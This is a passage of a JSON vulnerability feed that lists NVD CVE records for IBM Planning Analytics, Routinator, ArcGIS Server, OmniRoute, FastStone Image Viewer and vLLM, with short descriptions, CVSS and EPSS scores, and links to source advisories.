analytics"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19627","asOf":"2026-10-15T19:15:25.713Z"},"epss":{"probability":0.00354,"percentile":0.28814,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19627","type":"primary","publishedAt":"2026-10-12T23:17:37.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7291604","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19622","cveId":"CVE-2026-19622","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.","summary":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.","detail":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:37.107Z","updatedAt":"2026-10-15T18:14:24.330Z","regions":["Global"],"vendor":"ibm","product":"planning analytics","stacks":["IBM","planning analytics"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19622","asOf":"2026-10-15T18:14:24.330Z"},"epss":{"probability":0.00349,"percentile":0.2829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19622&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19622","type":"primary","publishedAt":"2026-10-12T23:17:37.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7291604","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19622&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19622, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19620","cveId":"CVE-2026-19620","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.","summary":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.","detail":"IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:36.980Z","updatedAt":"2026-10-15T18:15:10.920Z","regions":["Global"],"vendor":"ibm","product":"planning analytics","stacks":["IBM","planning analytics"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19620","asOf":"2026-10-15T18:15:10.920Z"},"epss":{"probability":0.00336,"percentile":0.26747,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19620&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19620","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19620","type":"primary","publishedAt":"2026-10-12T23:17:36.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7291604","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19620&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19620, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-17475","cveId":"CVE-2026-17475","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access...","summary":"IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access control.","detail":"IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access control.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:36.443Z","updatedAt":"2026-10-15T18:23:00.120Z","regions":["Global"],"vendor":"ibm","product":"planning analytics","stacks":["IBM","planning analytics"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-17475","asOf":"2026-10-15T18:23:00.120Z"},"epss":{"probability":0.00218,"percentile":0.12201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-17475&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-17475","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-17475","type":"primary","publishedAt":"2026-10-12T23:17:36.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7291604","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-17475&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-17475, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72758","cveId":"CVE-2026-72758","aliases":[],"kind":"vulnerability","title":"When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out...","summary":"When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out of memory.","detail":"When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out of memory.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:18:42.850Z","updatedAt":"2026-10-26T18:18:42.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72758","asOf":"2026-10-26T18:18:42.850Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72758","type":"primary","publishedAt":"2026-10-26T18:18:42.850Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72756","cveId":"CVE-2026-72756","aliases":[],"kind":"vulnerability","title":"Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with...","summary":"Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with existing file names.","detail":"Routinator exits when an rsync URI for a file obtained over RRDP contains a path that cannot be stored on disk, such as too long file names, and folder names that overlap with existing file names.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:18:42.143Z","updatedAt":"2026-10-26T18:18:42.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72756","asOf":"2026-10-26T18:18:42.143Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72756","type":"primary","publishedAt":"2026-10-26T18:18:42.143Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72754","cveId":"CVE-2026-72754","aliases":[],"kind":"vulnerability","title":"When Routinator encounters a CRL with many entries, it may hang or run out of memory.","summary":"When Routinator encounters a CRL with many entries, it may hang or run out of memory. If Routinator encounters a CRL file with the wrong encoding, it may exit.","detail":"When Routinator encounters a CRL with many entries, it may hang or run out of memory. If Routinator encounters a CRL file with the wrong encoding, it may exit.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:18:41.413Z","updatedAt":"2026-10-26T18:18:41.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72754","asOf":"2026-10-26T18:18:41.413Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72754","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72754","type":"primary","publishedAt":"2026-10-26T18:18:41.413Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72753","cveId":"CVE-2026-72753","aliases":[],"kind":"vulnerability","title":"When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data.","summary":"When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data. If it encounters too many delta entries it may run out of memory.","detail":"When Routinator encounters an RRDP notification file with gaps in the delta entries, it is still accepted and parsed, potentially leading to missing data. If it encounters too many delta entries it may run out of memory.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:18:40.943Z","updatedAt":"2026-10-26T18:18:40.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-72753","asOf":"2026-10-26T18:18:40.943Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-72753","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72753","type":"primary","publishedAt":"2026-10-26T18:18:40.943Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70379","cveId":"CVE-2026-70379","aliases":[],"kind":"vulnerability","title":"When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network...","summary":"When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network segment. The stream is not encrypted, which may allow an unauthenticated host to view or capture presentation content where network access is not otherwise restricted. This vulnerability only affects devices with the vSolution Matrix feature enabled.","detail":"When the vSolution Matrix feature is enabled, affected devices may make current screen content available through an unauthenticated RTSP/RTP stream to hosts on the same network segment. The stream is not encrypted, which may allow an unauthenticated host to view or capture presentation content where network access is not otherwise restricted. This vulnerability only affects devices with the vSolution Matrix feature enabled.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:18:39.283Z","updatedAt":"2026-10-26T18:18:39.283Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70379","asOf":"2026-10-26T18:18:39.283Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70379","type":"primary","publishedAt":"2026-10-26T18:18:39.283Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33521","cveId":"CVE-2026-33521","aliases":[],"kind":"vulnerability","title":"There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may,...","summary":"There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may, under exceptional circumstances, consume all available worker threads and deny service to users. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.","detail":"There is s denial of service vulnerability in Esri ArcGIS Server versions 12.0 and prior that may allow a remote, unauthenticated attacker to supply crafted requests that may, under exceptional circumstances, consume all available worker threads and deny service to users. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:46.360Z","updatedAt":"2026-10-26T18:17:46.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33521","asOf":"2026-10-26T18:17:46.360Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33521","type":"primary","publishedAt":"2026-10-26T18:17:46.360Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116634","cveId":"CVE-2026-116634","aliases":[],"kind":"vulnerability","title":"OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when...","summary":"OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when requireLogin is disabled. Attackers can use the issued token against GET /api/sync/bundle to retrieve decrypted provider credentials and plaintext API keys, with tokens persisting after login is re-enabled.","detail":"OmniRoute 3.8.50 before 3.8.52 contains a missing authentication vulnerability that allows unauthenticated attackers to issue sync tokens via POST /api/sync/tokens when requireLogin is disabled. Attackers can use the issued token against GET /api/sync/bundle to retrieve decrypted provider credentials and plaintext API keys, with tokens persisting after login is re-enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:45.677Z","updatedAt":"2026-10-26T18:17:45.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116634","asOf":"2026-10-26T18:17:45.830Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116634","type":"primary","publishedAt":"2026-10-26T18:17:45.677Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116463","cveId":"CVE-2026-116463","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine.","summary":"A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine. The manipulation leads to out-of-bounds read. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was identified in FastStone Image Viewer up to 8.5. Affected is the function FUN_0062d96c of the component Box-Average Downsampler Engine. The manipulation leads to out-of-bounds read. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:45.207Z","updatedAt":"2026-10-26T18:17:45.207Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116463","asOf":"2026-10-26T18:17:45.207Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116463","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116463","type":"primary","publishedAt":"2026-10-26T18:17:45.207Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115915","cveId":"CVE-2026-115915","aliases":[],"kind":"vulnerability","title":"vLLM is an inference and serving engine for large language models.","summary":"vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.open(BytesIO(data)) without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request paths through parse_image() and fetch_image() can therefore dispatch an EPS payload to host components. A host with Ghostscript affected by CVE-2024-29510 can execute commands with the vLLM process's privileges, while environments using Pillow 12.0.0 through 12.2.0 can trigger CVE-2026-59203 and exhaust media-loading workers. Deployments without the applicable vulnerable dependency are not affected by that corresponding impact. This issue is fixed in version 0.32.0.","detail":"vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.open(BytesIO(data)) without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request paths through parse_image() and fetch_image() can therefore dispatch an EPS payload to host components. A host with Ghostscript affected by CVE-2024-29510 can execute commands with the vLLM process's privileges, while environments using Pillow 12.0.0 through 12.2.0 can trigger CVE-2026-59203 and exhaust media-loading workers. Deployments without the applicable vulnerable dependency are not affected by that corresponding impact. This issue is fixed in version 0.32.0.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T18:17:38.883Z","updatedAt":"2026-10-26T18:17:38.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115915","asOf":"2026-10-26T18:17:38.883Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115915","type":"primary","publishedAt":"2026-10-26T18:17:38.883Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 